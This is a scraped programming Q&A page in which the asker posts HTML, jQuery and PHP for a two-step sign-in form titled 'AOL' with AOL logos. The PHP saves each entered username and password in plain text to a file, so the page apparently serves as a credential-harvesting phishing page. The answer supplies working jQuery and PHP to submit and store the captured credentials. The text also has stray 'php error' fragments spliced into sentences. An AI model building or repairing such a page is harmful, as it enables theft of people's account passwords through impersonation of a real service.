How to send Data to PHP URL using Jquery / Ajax

120

Question: How to send Data to PHP URL using Jquery / Ajax

I am very new to this. How do I post data to a PHP file? I am really having problems with this. Its supposed php error to call the PHP file but rather than call the PHP file, its just very static and does not behave like i clicked a thing.

The first button on the div transfers the data from the first page, and moves it to the second page. then the second button is supposed to call php error the php URL and send the data to the php file which in turn saves the data to DB or write to the text file.

the html file with the Jquery is looking like this

<!DOCTYPE html> <html> <head>           <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>           <script>           $(document).ready(function(){                 $("#my_form").submit(function(){                     event.preventDefault();                     var username = $(this).find('#u').val();                     var password = $(this).find('#p').val();                                           if(username == '' || password ==''){                         alert('Please Enter all Data Correctly');                         return false;                     }                                          $.ajax({                         type: "POST",                         url : "savedata.php",                         data : {                             username : username,                             password : password                         },                         cache: false,                         success : function(data){                             alert(data);                         },                         error: function(xhr,status,error){                             console.error(xhr);                         }                     });                 });           });           </script>           <script>              $(document).ready(function(){                 $("#btn1").click(function(){                     $("#loginU").toggle();                     $("#loginP").toggle();                 });              });           </script>           <script type="text/javascript">                 function sendData(){                 var username = document.getElementById('u').value;                 document.getElementById('outdata').innerHTML = username;                 document.getElementById('hiddenEmail').value = username;                 }           </script>            <style>              .hide{              display:none;              }                            .loginTable             {                    margin-top: 15px;                float: right;                background-color: white;                position:absolute;                 overflow:hidden;                 left:906px;                 top:100px;                 width:365px;                 height:581px;             }             .logoArea             {                 margin-top: 35px;             }                          .signInheader___{                 position:absolute;                  overflow:hidden;                  left:1040px;                  top:198px;                  width:63px;                  height:35px;             }           </style>             <link rel="stylesheet" href="styles.css"> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>AOL</title> </head> <body> <div align="center">     <table border="0" width="100%">         <tr>             <td height="57">&nbsp;             <img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>         </tr>         <tr>             <td>&nbsp;</td>         </tr>         <tr>             <td>             <div align="center">                 <table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">                     <tr>                         <td>&nbsp;</td>                     </tr>                     <div class="loginTable">                     <form id="my_form" method="post">                     <div id="loginU">                         <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>                         <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>                         <input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>                         <input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />                     </div>                     <div id="loginP" class="hide">                         <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>                         <div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>                         <input type="hidden" id="hiddenEmail" />                         <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>                         <p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>                         <input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>                         <input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />                     </div>                     </form>                     </div>                 </table>             </div>             </td>         </tr>     </table> </div> </body>  </html>

And the PHP to save to textfile (at first) is Looking like this

<?php  $username = $_POST['u']; $password = $_POST['p'];  $txt = "Data: \n User : $username\n Password : $password\n";  $file = fopen('servers.txt','a+'); fwrite($file,$txt); fclose($file);  ?>

How Can I get this to work? I am very new to this. Rather than send the data, its just Very static and does not do anything like calling the PHP file. Why is this so?

Edit

Edits Now Looks like this :

<!DOCTYPE html> <html> <head>           <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>           <script>           $(document).ready(function(){                 $("#my_form").submit(function(){                     event.preventDefault();                     var u = $(this).find('#u').val();                     var p = $(this).find('#p').val();                                           if(u == '' || p ==''){                         alert('Please Enter all Data Correctly');                         return false;                     }                                          $.ajax({                         type: "POST",                         url : "login.php",                         data : {                             u : u,                             p : p                         },                         cache: false,                         success : function(data){                             alert(data);                         },                         error: function(xhr,status,error){                             console.error(xhr);                         }                     });                 });           });           </script>           <script>              $(document).ready(function(){                 $("#btn1").click(function(){                     $("#loginU").toggle();                     $("#loginP").toggle();                 });              });           </script>           <script type="text/javascript">                 function sendData(){                 var username = document.getElementById('u').value;                 document.getElementById('outdata').innerHTML = username;                 document.getElementById('hiddenEmail').value = username;                 }           </script>            <style>              .hide{              display:none;              }                            .loginTable             {                    margin-top: 15px;                float: right;                background-color: white;                position:absolute;                 overflow:hidden;                 left:906px;                 top:100px;                 width:365px;                 height:581px;             }             .logoArea             {                 margin-top: 35px;             }                          .signInheader___{                 position:absolute;                  overflow:hidden;                  left:1040px;                  top:198px;                  width:63px;                  height:35px;             }           </style>             <link rel="stylesheet" href="styles.css"> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>AOL</title> </head> <body> <div align="center">     <table border="0" width="100%">         <tr>             <td height="57">&nbsp;             <img border="0" src="../aol_new/images/aol-logo-black-v.0.0.2.png" width="106" height="43"></td>         </tr>         <tr>             <td>&nbsp;</td>         </tr>         <tr>             <td>             <div align="center">                 <table border="0" width="100%" background="images/AOL_MaliciousApps_platform___Norton.jpg" height="1020">                     <tr>                         <td>&nbsp;</td>                     </tr>                     <div class="loginTable">                     <form id="my_form" method="post">                     <div id="loginU">                         <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>                         <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:73px;">Sign in</p></br>                         <input type="text" id="u" name="u" placeholder=" Username, email, or phone" oninput="sendData();" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>                         <input type="submit" value="Next" id="btn1" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />                     </div>                     <div id="loginP" class="hide">                         <img src="../aol_new/images/aol-logo-black-v.0.0.2.png" height="34px" width="85px" class="logoArea" /></br>                         <div id="outdata" style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal; margin-top:10px;"></div>                         <input type="hidden" id="hiddenEmail" />                         <p style="font-size: 17px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: bold;margin-top:14px;">Enter Password</p>                         <p style="font-size: 15px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;">to finish sign in</p></br>                         <input type="password" id="p" name="p" placeholder=" Password" style="width:314px;height:41px;margin-bottom:10px;border:none;outline:none;border-bottom:1px solid #CCCC;"/></br>                         <input type="submit" id="submit" value="Next" style="width:314px;height:41px;color:#FFFFFF; font-family:Arial; font-size:12pt;border:none;background-color:#39f" />                     </div>                     </form>                     </div>                 </table>             </div>             </td>         </tr>     </table> </div> </body>  </html>

Total Answers: 1

43

Answers 1: of How to send Data to PHP URL using Jquery / Ajax

Your form is very complex at the moment, it seems like you have not php error tested the code before implementing anything.

To break it down, you can use a simple form two input fields, php error email and password. You can begin with two fields just. Just like below:

<form id="myform">   <label for="email">Email</label>   <input id="email" name="email" type="email" value="" />   <label for="password">password</label>   <input id="password" name="password" type="password" value="" />    <input type="submit" value="Send" />  </form>

Then you can use the below mentioned jQuery code to check and take field values when form is submitted. also you can print the request to see if the form data has been serialized correctly.

jQuery( document ).ready(function($) { var request; //get form fields $("form#getField").submit(function(event){     //preventDefault action      event.preventDefault();     if (request) {         request.abort();     }     var $sucess = false;     var $form = $(this);     //Take input fields all together, instead of taking individual values     var $inputs = $form.find("input");     //serialize() method creates a text string in standard URL-encoded notation     var serializedData = $form.serialize();     console.log(serializedData);     $inputs.prop("disabled", true);     //Ajax request     request = $.ajax({         url: "login.php",         type: "POST",         data: serializedData     });     // Load content which you wanna display after the form is submitted     request.done(function (response, textStatus, jqXHR){         $("#result").html('Submitted successfully');         $sucess=true;     });     //If request fails     request.fail(function (jqXHR, textStatus, errorThrown){         console.error(             "The following error occurred: "+             textStatus, errorThrown         );         $("#result").html('Request Failed');     });     request.always(function () {         // Reenable the inputs         $inputs.prop("disabled", false);     });     if($sucess){         $(this).submit();     } });

});

After this has submitted you can check in the login.php submit with isset($_POST['email']) php error method like below:

if(isset($_POST['email']) && isset($_POST['password']) ){ //taken from form field $data['email'] = $_POST['email']; $data['password'] = $_POST['password']; //authenticate the rquest and send the data to DB or write to text file    }

Then either write the data in DB or write in the text file.

Hopefully that helps. Always start slow and small.

Recent Blog

Contains into JSON array PostgreSQL

May 29, 2023

Getting all th tags and testing values with playwright

May 29, 2023

Spring - Enum in RestControllers?

May 29, 2023

Higher Order Components - React.JS

May 29, 2023

Parser rule does not produce an error for invalid input

May 29, 2023

Remove "Some" keyword from string println! in rust [duplicate]

May 29, 2023

How to continue using a powershell script after it finished

May 29, 2023

Does not render NLog property value in logs when using ScopeContext.PushProperty in OnActionExecutedAsync()

May 29, 2023

What will be the formula for conditional formatting to highlight the duplicates in horizontally for multiple rows in google sheet?

May 29, 2023

NVDA calls out incomplete error message and twice

May 29, 2023